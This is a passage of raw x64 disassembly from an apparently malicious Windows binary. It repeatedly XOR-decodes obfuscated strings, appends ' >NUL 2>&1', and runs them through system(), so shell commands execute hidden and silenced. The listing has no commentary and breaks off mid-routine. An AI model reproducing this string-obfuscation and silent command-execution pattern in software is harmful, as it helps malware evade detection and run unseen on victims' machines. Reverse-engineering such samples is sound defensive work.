movups xmm0, xmmword [0x1400e0040]
movups xmmword [rbp + 0x1a30], xmm0
movups xmm1, xmmword [0x1400e0050]
movups xmmword [rbp + 0x1a40], xmm1
movups xmm0, xmmword [0x1400e0060]
movups xmmword [rbp + 0x1a50], xmm0
movups xmm1, xmmword [0x1400e0070]
movups xmmword [rbp + 0x1a60], xmm1
movups xmm0, xmmword [0x1400e0080]
movups xmmword [rbp + 0x1a70], xmm0
movups xmm1, xmmword [0x1400e0090]
movups xmmword [rbp + 0x1a80], xmm1
movsd xmm0, qword [0x1400e00a0]
movsd qword [rbp + 0x1a90], xmm0
mov eax, dword [0x1400e00a8]
mov dword [rbp + 0x1a98], eax
mov r8d, edi
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x14003d639
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x1a14]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x14003d540
cmp r8d, 0x8c
jge 0x14003d686
movsxd rax, r8d
lea r9, [rbp + 0x1a10]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8c
jl 0x14003d650
lea rcx, [rbp + 0x1a10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x27c0]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x27a0]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400dec68]
movups xmmword [rbp + 0xf90], xmm0
movups xmm1, xmmword [0x1400dec78]
movups xmmword [rbp + 0xfa0], xmm1
movsd xmm0, qword [0x1400dec88]
movsd qword [rbp + 0xfb0], xmm0
mov ecx, dword [0x1400dec90]
mov dword [rbp + 0xfb8], ecx
movzx eax, byte [0x1400dec94]
mov byte [rbp + 0xfbc], al
mov r8d, edi
cmp esi, 2
jl 0x14003d813
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xf94]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003d720
cmp r8d, 0x2d
jge 0x14003d853
movsxd rax, r8d
lea r9, [rbp + 0xf90]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003d820
mov r8, r10
lea rdx, [rbp + 0xf90]
lea rcx, [rbp + 0x2780]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x2760]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2740]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2720]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2720]
call fcn.140058900
nop
lea rcx, [rbp + 0x2740]
call fcn.140058900
nop
lea rcx, [rbp + 0x2760]
call fcn.140058900
nop
lea rcx, [rbp + 0x2780]
call fcn.140058900
nop
lea rcx, [rbp + 0x27a0]
call fcn.140058900
nop
lea rcx, [rbp + 0x27c0]
call fcn.140058900
lea rcx, [rbp + 0x2880]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x2860]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400df820]
movups xmmword [rbp + 0x1050], xmm0
movups xmm1, xmmword [0x1400df830]
movups xmmword [rbp + 0x1060], xmm1
movsd xmm0, qword [0x1400df840]
movsd qword [rbp + 0x1070], xmm0
mov ecx, dword [0x1400df848]
mov dword [rbp + 0x1078], ecx
movzx eax, byte [0x1400df84c]
mov byte [rbp + 0x107c], al
mov r8d, edi
cmp esi, 2
jl 0x14003da83
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x1054]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003d990
cmp r8d, 0x2d
jge 0x14003dac3
movsxd rax, r8d
lea r9, [rbp + 0x1050]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003da90
mov r8, r10
lea rdx, [rbp + 0x1050]
lea rcx, [rbp + 0x2840]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x2820]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2800]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x27e0]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x27e0]
call fcn.140058900
nop
lea rcx, [rbp + 0x2800]
call fcn.140058900
nop
lea rcx, [rbp + 0x2820]
call fcn.140058900
nop
lea rcx, [rbp + 0x2840]
call fcn.140058900
nop
lea rcx, [rbp + 0x2860]
call fcn.140058900
nop
lea rcx, [rbp + 0x2880]
call fcn.140058900
lea rcx, [rbp + 0x2940]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x2920]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400dde28]
movups xmmword [rbp + 0xff0], xmm0
movups xmm1, xmmword [0x1400dde38]
movups xmmword [rbp + 0x1000], xmm1
movsd xmm0, qword [0x1400dde48]
movsd qword [rbp + 0x1010], xmm0
mov ecx, dword [0x1400dde50]
mov dword [rbp + 0x1018], ecx
movzx eax, byte [0x1400dde54]
mov byte [rbp + 0x101c], al
mov r8d, edi
cmp esi, 2
jl 0x14003dcf3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xff4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003dc00
cmp r8d, 0x2d
jge 0x14003dd33
movsxd rax, r8d
lea r9, [rbp + 0xff0]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003dd00
mov r8, r10
lea rdx, [rbp + 0xff0]
lea rcx, [rbp + 0x2900]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x28e0]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x28c0]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x28a0]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x28a0]
call fcn.140058900
nop
lea rcx, [rbp + 0x28c0]
call fcn.140058900
nop
lea rcx, [rbp + 0x28e0]
call fcn.140058900
nop
lea rcx, [rbp + 0x2900]
call fcn.140058900
nop
lea rcx, [rbp + 0x2920]
call fcn.140058900
nop
lea rcx, [rbp + 0x2940]
call fcn.140058900
lea rcx, [rbp + 0x2a00]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x29e0]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400dfb10]
movups xmmword [rbp + 0x1020], xmm0
movups xmm1, xmmword [0x1400dfb20]
movups xmmword [rbp + 0x1030], xmm1
movsd xmm0, qword [0x1400dfb30]
movsd qword [rbp + 0x1040], xmm0
mov ecx, dword [0x1400dfb38]
mov dword [rbp + 0x1048], ecx
movzx eax, byte [0x1400dfb3c]
mov byte [rbp + 0x104c], al
mov r8d, edi
cmp esi, 2
jl 0x14003df63
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x1024]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003de70
cmp r8d, 0x2d
jge 0x14003dfa3
movsxd rax, r8d
lea r9, [rbp + 0x1020]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003df70
mov r8, r10
lea rdx, [rbp + 0x1020]
lea rcx, [rbp + 0x29c0]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x29a0]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2980]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2960]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2960]
call fcn.140058900
nop
lea rcx, [rbp + 0x2980]
call fcn.140058900
nop
lea rcx, [rbp + 0x29a0]
call fcn.140058900
nop
lea rcx, [rbp + 0x29c0]
call fcn.140058900
nop
lea rcx, [rbp + 0x29e0]
call fcn.140058900
nop
lea rcx, [rbp + 0x2a00]
call fcn.140058900
lea rcx, [rbp + 0x2ae0]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x2ac0]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400dfcf0]
movups xmmword [rbp + 0xd20], xmm0
movups xmm1, xmmword [0x1400dfd00]
movups xmmword [rbp + 0xd30], xmm1
movsd xmm0, qword [0x1400dfd10]
movsd qword [rbp + 0xd40], xmm0
mov ecx, dword [str.A_YDe]
mov dword [rbp + 0xd48], ecx
movzx eax, byte [0x1400dfd1c]
mov byte [rbp + 0xd4c], al
mov r8d, edi
cmp esi, 2
jl 0x14003e1d3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xd24]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003e0e0
cmp r8d, 0x2d
jge 0x14003e213
movsxd rax, r8d
lea r9, [rbp + 0xd20]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003e1e0
mov r8, r10
lea rdx, [rbp + 0xd20]
lea rcx, [rbp + 0x2aa0]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x2a80]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2a60]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2a20]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2a20]
call fcn.140058900
nop
lea rcx, [rbp + 0x2a60]
call fcn.140058900
nop
lea rcx, [rbp + 0x2a80]
call fcn.140058900
nop
lea rcx, [rbp + 0x2aa0]
call fcn.140058900
nop
lea rcx, [rbp + 0x2ac0]
call fcn.140058900
nop
lea rcx, [rbp + 0x2ae0]
call fcn.140058900
lea rcx, [rbp + 0x2ba0]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x2b80]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400df910]
movups xmmword [rbp + 0xe10], xmm0
movups xmm1, xmmword [0x1400df920]
movups xmmword [rbp + 0xe20], xmm1
movsd xmm0, qword [0x1400df930]
movsd qword [rbp + 0xe30], xmm0
mov ecx, dword [str.AYDe]
mov dword [rbp + 0xe38], ecx
movzx eax, byte [0x1400df93c]
mov byte [rbp + 0xe3c], al
mov r8d, edi
cmp esi, 2
jl 0x14003e443
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xe14]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003e350
cmp r8d, 0x2d
jge 0x14003e483
movsxd rax, r8d
lea r9, [rbp + 0xe10]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003e450
mov r8, r10
lea rdx, [rbp + 0xe10]
lea rcx, [rbp + 0x2b60]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x2b40]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2b20]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2b00]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2b00]
call fcn.140058900
nop
lea rcx, [rbp + 0x2b20]
call fcn.140058900
nop
lea rcx, [rbp + 0x2b40]
call fcn.140058900
nop
lea rcx, [rbp + 0x2b60]
call fcn.140058900
nop
lea rcx, [rbp + 0x2b80]
call fcn.140058900
nop
lea rcx, [rbp + 0x2ba0]
call fcn.140058900
lea rcx, [rbp + 0x2c60]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x2c40]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400de798]
movups xmmword [rbp + 0x1140], xmm0
movups xmm1, xmmword [0x1400de7a8]
movups xmmword [rbp + 0x1150], xmm1
movsd xmm0, qword [0x1400de7b8]
movsd qword [rbp + 0x1160], xmm0
mov ecx, dword [0x1400de7c0]
mov dword [rbp + 0x1168], ecx
movzx eax, byte [0x1400de7c4]
mov byte [rbp + 0x116c], al
mov r8d, edi
cmp esi, 2
jl 0x14003e6b3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x1144]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003e5c0
cmp r8d, 0x2d
jge 0x14003e6f3
movsxd rax, r8d
lea r9, [rbp + 0x1140]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003e6c0
mov r8, r10
lea rdx, [rbp + 0x1140]
lea rcx, [rbp + 0x2c20]
call fcn.1400595f0
nop
lea r8, [0x1400dcca0]
mov rdx, rax
lea rcx, [rbp + 0x2c00]
call fcn.140059390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2be0]
call fcn.140059460
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2bc0]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2bc0]
call fcn.140058900
nop
lea rcx, [rbp + 0x2be0]
call fcn.140058900
nop
lea rcx, [rbp + 0x2c00]
call fcn.140058900
nop
lea rcx, [rbp + 0x2c20]
call fcn.140058900
nop
lea rcx, [rbp + 0x2c40]
call fcn.140058900
nop
lea rcx, [rbp + 0x2c60]
call fcn.140058900
lea rcx, [rbp + 0x2d20]
call fcn.14003ad00
mov rbx, rax
lea rcx, [rbp + 0x2d00]
call fcn.14003ad00
mov r10, rax
movups xmm0, xmmword [0x1400deac0]
movups xmmword [rbp + 0x1110], xmm0
movups xmm1, xmmword [0x1400dead0]
movups xmmword [rbp + 0x1120], xmm1
movsd xmm0, qword [0x1400deae0]
movsd qword [rbp + 0x1130], xmm0
mov ecx, dword [0x1400deae8]
mov dword [rbp + 0x1138], ecx
movzx eax, byte [0x1400deaec]
mov byte [rbp + 0x113c], al
mov r8d, edi
cmp esi, 2
jl 0x14003e923
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x1114]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
